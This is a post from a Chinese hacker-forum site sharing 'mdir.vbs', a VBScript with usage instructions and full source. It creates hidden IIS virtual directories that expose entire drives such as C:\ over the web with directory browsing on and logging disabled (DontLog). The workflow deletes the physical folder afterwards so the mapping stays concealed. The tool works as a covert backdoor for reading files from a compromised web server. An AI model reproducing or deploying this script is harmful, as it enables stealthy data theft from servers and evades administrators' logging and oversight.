华域联盟 vbs mdir.vbs 建立隐藏虚拟目录的vbs

mdir.vbs 建立隐藏虚拟目录的vbs

建立隐藏虚拟目录使用。首先要先在对应WEB目录里建立一个目录。然后利用脚本直接在Shell中创建虚拟目录。仅仅为了方便大家使用。方法如下

C:\>mdir.vbs

***************************************************************************

Usage: MDir <-w WebSite Index>

<-v Name1,Path1,Name2,Path2,...>

Example : MDir -w 1 -v "Root/Disk-C","C:\","Root/Disk-D","D:\"

***************************************************************************

Index ServerComment

___________________________________________________________________________

1 asp.com

2 asp.net

3 aspx.net

4 aspx.com

5 tmp.com

6 tmp.net

不加任何参数时,会将IIS中所有主机头罗列出来。

如果你想在 asp.com 中创建,则需要记准对应的 Index值。格式如下

C:\inetpub\wwwroot>md Root

C:\inetpub\wwwroot>Cscript mdir.vbs -w "1" -v "Root/Disk-c","c:\"

C:\inetpub\wwwroot>rd Root

就在此域名下创建了一个隐藏的虚拟目录。

访问方法:

http://asp.com/Root/Disk-c


复制代码 代码如下:

'Lilo 编写

'[email protected]

On Error Resume Next

Dim oArgs, ArgNum, ArgComputer, ArgWebSites, ArgVirtualDirs, ArgDirNames(), ArgDirPaths(), DirIndex, ArgComputers

Set oArgs = WScript.Arguments

ArgComputers = Array("LocalHost")

ArgNum = 0

While ArgNum < oArgs.Count

    If (ArgNum + 1) >= oArgs.Count Then

        Call DisplayUsage

    End If    

    Select Case LCase(oArgs(ArgNum))

        Case "-w":

            ArgNum = ArgNum + 1

            ArgWebSites = oArgs(ArgNum)

        Case "-v":

            ArgNum = ArgNum + 1

            ArgVirtualDirs = Split(oArgs(ArgNum), ",", -1)

        Case "-?"

            Call DisplayUsage

    End Select    

    ArgNum = ArgNum + 1

Wend

ArgNum = 0

DirIndex = 0

MaxWeb = CLng(ListAllWeb(0))

If Not IsNumeric(ArgWebSites) Or MaxWeb = 0 Then Call DisplayUsage

ReDim ArgDirNames((UBound(ArgVirtualDirs)+1) \ 2)

ReDim ArgDirPaths((UBound(ArgVirtualDirs)+1) \ 2)

if isArray(ArgVirtualDirs) then

    While ArgNum <= UBound(ArgVirtualDirs)

        ArgDirNames(DirIndex) = ArgVirtualDirs(ArgNum)

        If (ArgNum + 1) > UBound(ArgVirtualDirs) Then

            WScript.Echo "Error understanding virtual directories"

            Call DisplayUsage

        End If    

        ArgNum = ArgNum + 1

        ArgDirPaths(DirIndex) = ArgVirtualDirs(ArgNum)

        ArgNum = ArgNum + 1

        DirIndex = DirIndex + 1

    Wend

end if 

If (ArgWebSites = "") Or (IsArray(ArgDirNames) = False or IsArray(ArgDirPaths) = False) Then

    Call DisplayUsage

Else

    Dim compIndex

    for compIndex = 0 to UBound(ArgComputers)

        Call ASTCreateVirtualWebDir(ArgComputers(compIndex),ArgWebSites,ArgDirNames,ArgDirPaths)

    next

End If

Sub Display(Msg)

    WScript.Echo Now & ". Error Code: " & Hex(Err) & " - " & Msg

End Sub

Sub Trace(Msg)

    WScript.Echo Now & " : " & Msg    

End Sub

Sub DisplayUsage()

    WScript.Echo String(75,"*") & vbCrLf & "Usage: MDir <-w WebSite Index>" & vbCrLf & "            <-v Name1,Path1,Name2,Path2,...>" & vbCrLf & "Example : MDir -w 1 -v ""Root/Disk-C"",""C:\"",""Root/Disk-D"",""D:\""" & vbCrLf & String(75,"*") & vbCrLf & ListAllWeb(1)

    WScript.Quit

End Sub

Sub ASTCreateVirtualWebDir(ComputerName,WebSiteName,DirNames,DirPaths)

    Dim Computer, webSite, WebSiteID, vRoot, vDir, DirNum

    On Error Resume Next

    Set webSite = GetObject("IIS://Localhost/W3SVC/" & WebSiteName)

    if IsObject(webSite) then

        set vRoot = webSite.GetObject("IIsWebVirtualDir", "Root")

        Trace "Accessing Root For " & webSite.ADsPath

        If (Err <> 0) Then

            Display "Unable To Access Root for " & webSite.ADsPath

        Else

            DirNum = 0

            If (IsArray(DirNames) = True) And (IsArray(DirPaths) = True) And (UBound(DirNames) = UBound(DirPaths)) Then

                While DirNum < UBound(DirNames)

                    Set vDir = vRoot.Create("IIsWebVirtualDir",DirNames(DirNum))

                    If (Err <> 0) Then

                        Display "Unable To Create " & vRoot.ADsPath & "/" & DirNames(DirNum) &"."

                    Else

                        vDir.EnableDirBrowsing      = True

                        vDir.DirBrowseShowDate      = False

                        vDir.DirBrowseShowTime      = False

                        vDir.DirBrowseShowSize      = False

                        vDir.DirBrowseShowExtension = False

                        vDir.DirBrowseShowLongDate  = True

                        vDir.DirBrowseFlags         = -1073741762

                        vDir.AccessRead             = True

                        vDir.AccessWrite            = False

                        vDir.AccessExecute          = False

                        vDir.AccessScript           = False

                        vDir.AccessSource           = False

                        vDir.AccessNoRemoteRead     = False

                        vDir.AccessNoRemoteWrite    = False

                        vDir.AccessNoRemoteExecute  = False

                        vDir.AccessNoRemoteScript   = False

                        vDir.AppIsolated            = 1

                        vDir.AccessFlags            = 1

                        vDir.ContentIndexed         = False

                        vDir.CreateProcessasUser    = False

                        vDir.DontLog                = True

'                        vDir.DefaultDoc             = ""

                        vDir.EnableDefaultDoc       = False

                        vDir.AppFriendlyName        = ""

                        vDir.AppCreate2 3

                        vDir.Path = DirPaths(DirNum)

                        If (Err <> 0) Then

                            Display "Unable To Bind Path " & DirPaths(DirNum) & " to " & vRootName & "/" & DirNames(DirNum) & ". Path may be invalid."

                        Else

                            'Save the changes

                            vDir.SetInfo

                            If (Err <> 0) Then

                                Display "Unable To Save Configuration For " & vRootName & "/" & DirNames(DirNum) &"."

                            Else

                                Trace "Web Virtual Directory " & vRootName & "/" & DirNames(DirNum) & " created successfully."

                            End If

                        End If

                    End If

                    Err = 0

                    DirNum = DirNum + 1

                Wend

            End If

        End If

    else

        Display "Unable To Find "& WebSiteName &" on "& ComputerName

    End if

    Trace "Done."

End Sub

Function ListAllWeb(n)

    Set ObjService=GetObject("IIS://LocalHost/W3SVC")

    If n = 1 Then ListAllWeb = "" Else ListAllWeb = 0

    For Each obj3w In objservice

        If IsNumeric(obj3w.Name) Then

            sServerName=Obj3w.ServerComment

            If n = 1 Then

                ListAllWeb = ListAllWeb & obj3w.Name & String(15-Len(obj3w.Name)," ") & obj3w.ServerComment & vbCrLf

            Else

                ListAllWeb = ListAllWeb + 1

            End If

        End If

    Next

    if n = 1 Then ListAllWeb = "Index" & String(10," ") & "ServerComment" & vbCrLf & String(75,"_") & vbCrLf & ListAllWeb

    Set ObjService=Nothing

End Function

本文由 华域联盟 原创撰写:华域联盟 » mdir.vbs 建立隐藏虚拟目录的vbs

转载请保留出处和原文链接:https://www.cnhackhy.com/14618.htm

本文来自网络,不代表华域联盟立场,转载请注明出处。

作者: sterben

发表回复

联系我们

联系我们

2551209778

在线咨询: QQ交谈

邮箱: [email protected]

工作时间:周一至周五,9:00-17:30,节假日休息

关注微信
微信扫一扫关注我们

微信扫一扫关注我们

关注微博
返回顶部